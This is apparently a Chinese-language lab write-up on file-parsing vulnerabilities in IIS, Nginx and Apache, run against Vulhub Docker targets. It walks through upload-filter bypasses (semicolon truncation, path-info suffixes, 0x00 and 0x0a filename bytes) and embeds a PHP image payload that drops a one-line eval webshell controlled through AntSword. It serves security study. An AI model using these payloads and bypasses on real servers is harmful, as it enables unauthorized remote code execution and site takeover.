IIS解析漏洞
IIS6.X
环境:windows server 2003
方式一:目录解析
在网站下建立文件夹的名字为 .asp/.asa
的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。
方式二:畸形文件解析
在IIS 6 处理文件解析时,分号可以起到截断的效果。也就是说 1.asp;.jpg会被服务器看成是shell.asp。另外IIS6.0默认的可执行文件除了asp还包含asa\\\\cer\\\\cdx
IIS7.X
在IIS7.0和IIS7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在一个文件路径/xx.jpg后面加上/xx.php会将 **/xx.jpg/xx.php** 解析为 php 文件。
- php.ini里的cgi.fix_pathinfo=1 开启
- IIS7在Fast-CGI运行模式下
如果是一句话木马,可以使用菜刀连接
Nginx解析漏洞
nginx_parsing
这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。在一个文件/xx.jpg后面加上/.php会将 /xx.jpg/xx.php
解析为 php 文件。
》》》利用条件《《《
- Nginx <=0.8.37
- cgi.fix_pathinfo=1
》》》利用姿势《《《
Nginx的文件解析漏洞...和IIS7.0的解析漏洞同样的原理,因为cgi.fix_pathinfo=1
造成的解析漏洞...
PS:同样使用1.jpg/.php
方式进行绕过...
步骤一:进入以下Vulhub路径并开启容器...
cd /nginx/nginx_parsing_vulnerability
docker-compose build
docker-compose up -d
docker ps -a
步骤二:浏览器中访问网站..
http://124.221.58.83:8088
步骤三:上传以.jpg结尾的文件,访问
》》》GetShell《《《
步骤一:使用winhex工具往正常的图片中写入以下代码..
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
步骤二:上传该图片并访问....紧接着利用解析漏洞执行其中的PHP代码
<http://101.42.118.221/uploadfiles/64c99f2867ba6f0733aba807c66617f7.jpeg/.php>
步骤三:访问同级目录下的shell.php文件页面为空....紧接着使用蚁剑链接...
CVE-2013-4547
此漏洞为文件名逻辑漏洞,该漏洞在上传图片时,修改其16进制编码可使其绕过策略,导致解析为php。当Nginx得到一个用户请求时,首先对url进行解析,进行正则匹配,如果匹配到以.php后缀结尾的文件名,会将请求的PHP文件交给PHP-CGI去解析。
》》》影响版本《《《
- Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
》》》利用姿势《《《
步骤一:使用以下命令启动靶机并通过浏览器访问靶场页面...
#启动靶场
cd vulhub-master/nginx/CVE-2013-4547 //切换到靶机目录
docker-compose build //创建环境
docker-compose up -d //打开环境
#靶场页面
<http://124.221.58.83/:8089/>
#info.php
<?php phpinfo();?>
步骤二:抓包直接上传info.php
被拦截...修改文件后缀为.jpg进行上传且在后面添加空格;上传成功...
步骤三:在.jpg后面添加两个空格并给上.php
后缀,在16进制修改中将原本连个空格的0x20 0x20
修改为如下即0x20 0x00
进行发包...
改为两个空格
步骤四:访问上传后的文件....由于url会将其编码,需要继续抓包修改0x20 0x20
为0x20 0x00
Apache解析漏洞
apache_parsing
在Apache1.x/2.x中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。如1.php.xxxxx
》》》漏洞原理《《《
Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如如下配置文件
AddType text/html .html
AddLanguage zh-CN .cn
其给.html后缀增加了media-type,值为text/html;给.cn后缀增加了语言,值为zh-CN。此时,如果用户请求文件index.cn.html,他将返回一个中文的html页面。以上就是Apache多后缀的特性。如果运维人员给.php后缀增加了处理器:
AddHandler application/x-httpd-php .php .php3 .phtml
那么,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
》》》利用姿势《《《
步骤一:进入Vulhub靶场并执行以下命令启动靶场...
cd /vulhub/httpd/apache_parsing_vulnerability
docker-compose up -d
docker ps -a
步骤二:访问靶机并上传1.php.jpg文件,上传成功,访问路径,成功
CVE-2017-15715
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个换行解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
》》》影响版本《《《
- 2.4.0~2.4.29
》》》利用姿势《《《
步骤一:进入Vulhub靶场并开启目标靶机,进行访问...
#启动靶机
cd /Vulnhub/vulhub-master/httpd/CVE-2017-15715
docker-compose up -d
#访问地址
<http://124.221.58.83:8090//>
步骤二:尝试上传一info文件,发现被拦截...抓包,文件名称后加空格
步骤三:在evil.php文件后面添加空格0x20在改为0x0a再次返送即可上传成功....
步骤四:访问上传的evil文件在后面加上%0a再访问发现解析了其中的PHP代码,但后缀不是php说明存在解析漏洞